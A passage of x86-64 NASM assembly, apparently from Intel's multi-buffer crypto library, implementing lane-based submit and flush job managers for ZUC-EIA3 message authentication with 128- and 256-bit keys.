[rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _gpr_save + 8*8], state mov [rsp + _gpr_save + 8*9], job mov [rsp + _rsp_save], rax ; original SP mov unused_lanes, [state + _zuc_unused_lanes] movzx lane, BYTE(unused_lanes) shr unused_lanes, 8 mov tmp, [job + _zuc_eia3_iv] mov [state + _zuc_args_IV + lane*8], tmp mov [state + _zuc_unused_lanes], unused_lanes mov [state + _zuc_job_in_lane + lane*8], job mov tmp, [job + _src] add tmp, [job + _hash_start_src_offset_in_bytes] mov [state + _zuc_args_in + lane*8], tmp mov tmp, [job + _zuc_eia3_key] mov [state + _zuc_args_keys + lane*8], tmp mov tmp, [job + _auth_tag_output] mov [state + _zuc_args_out + lane*8], tmp ;; insert len into proper lane mov len, [job + _msg_len_to_hash_in_bits] movdqa xmm0, [state + _zuc_lens] XPINSRW xmm0, xmm1, tmp, lane, len, scale_x16 movdqa [state + _zuc_lens], xmm0 cmp unused_lanes, 0xff jne %%return_null_submit_eia3 ; Find minimum length (searching for zero length, ; to retrieve already encrypted buffers) phminposuw xmm1, xmm0 pextrw len2, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) cmp len2, 0 je %%len_is_0_submit_eia3 ; Move state into r11, as register for state will be used ; to pass parameter to next function mov r11, state ;; If Windows, reserve memory in stack for parameter transferring %ifndef LINUX ;; 48 bytes for 6 parameters (already aligned to 16 bytes) sub rsp, 48 %endif lea arg1, [r11 + _zuc_args_keys] lea arg2, [r11 + _zuc_args_IV] lea arg3, [r11 + _zuc_args_in] lea arg4, [r11 + _zuc_args_out] %ifdef LINUX lea arg5, [r11 + _zuc_lens] lea arg6, [r11 + _zuc_job_in_lane] %else lea r12, [r11 + _zuc_lens] mov arg5, r12 lea r12, [r11 + _zuc_job_in_lane] mov arg6, r12 %endif %if %%KEY_SIZE == 128 call ZUC_EIA3_4_BUFFER %else call ZUC256_EIA3_4_BUFFER %endif %ifndef LINUX add rsp, 48 %endif mov state, [rsp + _gpr_save + 8*8] mov job, [rsp + _gpr_save + 8*9] ;; Clear all lengths (function will authenticate all buffers) mov qword [state + _zuc_lens], 0 %%len_is_0_submit_eia3: ; process completed job "idx" mov job_rax, [state + _zuc_job_in_lane + idx*8] mov unused_lanes, [state + _zuc_unused_lanes] mov qword [state + _zuc_job_in_lane + idx*8], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_AUTH ;; TODO: fix double store (above setting the length to 0 and now setting to FFFFF) mov word [state + _zuc_lens + idx*2], 0xFFFF shl unused_lanes, 8 or unused_lanes, idx mov [state + _zuc_unused_lanes], unused_lanes %%return_submit_eia3: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret %%return_null_submit_eia3: xor job_rax, job_rax jmp %%return_submit_eia3 %endmacro %macro FLUSH_JOB_ZUC_EIA3 1 %define %%KEY_SIZE %1 ; [constant] Key size (128 or 256) %define unused_lanes rbx %define tmp1 rbx %define tmp2 rax ; idx needs to be in rbp %define tmp rbp %define idx rbp %define tmp3 r8 %define tmp4 r9 %define tmp5 r10 mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _gpr_save + 8*8], state mov [rsp + _rsp_save], rax ; original SP ; check for empty mov unused_lanes, [state + _zuc_unused_lanes] bt unused_lanes, 32+7 jc %%return_null_flush_eia3 ; Find minimum length (searching for zero length, ; to retrieve already authenticated buffers) movdqa xmm0, [state + _zuc_lens] phminposuw xmm1, xmm0 pextrw len2, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) cmp len2, 0 je %%len_is_0_flush_eia3 ; copy good_lane to empty lanes mov tmp1, [state + _zuc_args_in + idx*8] mov tmp2, [state + _zuc_args_out + idx*8] mov tmp3, [state + _zuc_args_keys + idx*8] mov tmp4, [state + _zuc_args_IV + idx*8] mov WORD(tmp5), [state + _zuc_lens + idx*2] ; Set valid length in NULL jobs movd xmm0, DWORD(tmp5) pshufb xmm0, [rel broadcast_word] movdqa xmm1, [state + _zuc_lens] movdqa xmm2, xmm1 pcmpeqw xmm3, xmm3 ;; Get all ff's in XMM register pcmpeqw xmm1, xmm3 ;; Mask with FFFF in NULL jobs movq tmp5, xmm1 mov [rsp + _null_len_save], tmp5 ;; Save lengths with FFFF in NULL jobs pand xmm0, xmm1 ;; Length of valid job in all NULL jobs pxor xmm3, xmm1 ;; Mask with 0000 in NULL jobs pand xmm2, xmm3 ;; Zero out lengths of NULL jobs por xmm2, xmm0 movq tmp5, xmm2 mov [state + _zuc_lens], tmp5 %assign I 0 %rep 4 cmp qword [state + _zuc_job_in_lane + I*8], 0 jne APPEND(%%skip_eia3_,I) mov [state + _zuc_args_in + I*8], tmp1 mov [state + _zuc_args_out + I*8], tmp2 mov [state + _zuc_args_keys + I*8], tmp3 mov [state + _zuc_args_IV + I*8], tmp4 APPEND(%%skip_eia3_,I): %assign I (I+1) %endrep ; Move state into r11, as register for state will be used ; to pass parameter to next function mov r11, state %ifndef LINUX ;; 48 bytes for 6 parameters (already aligned to 16 bytes) sub rsp, 48 %endif lea arg1, [r11 + _zuc_args_keys] lea arg2, [r11 + _zuc_args_IV] lea arg3, [r11 + _zuc_args_in] lea arg4, [r11 + _zuc_args_out] %ifdef LINUX lea arg5, [r11 + _zuc_lens] lea arg6, [r11 + _zuc_job_in_lane] %else lea r12, [r11 + _zuc_lens] mov arg5, r12 lea r12, [r11 + _zuc_job_in_lane] mov arg6, r12 %endif %if %%KEY_SIZE == 128 call ZUC_EIA3_4_BUFFER %else call ZUC256_EIA3_4_BUFFER %endif %ifndef LINUX add rsp, 48 %endif mov tmp5, [rsp + _null_len_save] mov state, [rsp + _gpr_save + 8*8] ;; Clear all lengths of valid jobs and set to FFFF to NULL jobs mov qword [state + _zuc_lens], tmp5 %%len_is_0_flush_eia3: ; process completed job "idx" mov job_rax, [state + _zuc_job_in_lane + idx*8] mov unused_lanes, [state + _zuc_unused_lanes] mov qword [state + _zuc_job_in_lane + idx*8], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_AUTH ;; TODO: fix double store (above setting the length to 0 and now setting to FFFFF) mov word [state + _zuc_lens + idx*2], 0xFFFF shl unused_lanes, 8 or unused_lanes, idx mov [state + _zuc_unused_lanes], unused_lanes %%return_flush_eia3: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret %%return_null_flush_eia3: xor job_rax, job_rax jmp %%return_flush_eia3 %endmacro ; JOB* SUBMIT_JOB_ZUC128_EIA3(MB_MGR_ZUC_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(SUBMIT_JOB_ZUC128_EIA3,function,internal) SUBMIT_JOB_ZUC128_EIA3: endbranch64 SUBMIT_JOB_ZUC_EIA3 128 ; JOB* SUBMIT_JOB_ZUC256_EIA3(MB_MGR_ZUC_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(SUBMIT_JOB_ZUC256_EIA3,function,internal) SUBMIT_JOB_ZUC256_EIA3: endbranch64 SUBMIT_JOB_ZUC_EIA3 256 ; JOB* FLUSH_JOB_ZUC128_EIA3(MB_MGR_ZUC_OOO *state) ; arg 1 : state MKGLOBAL(FLUSH_JOB_ZUC128_EIA3,function,internal) FLUSH_JOB_ZUC128_EIA3: endbranch64 FLUSH_JOB_ZUC_EIA3 128 ; JOB* FLUSH_JOB_ZUC256_EIA3(MB_MGR_ZUC_OOO *state) ; arg 1 : state MKGLOBAL(FLUSH_JOB_ZUC256_EIA3,function,internal) FLUSH_JOB_ZUC256_EIA3: endbranch64 FLUSH_JOB_ZUC_EIA3 256 %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif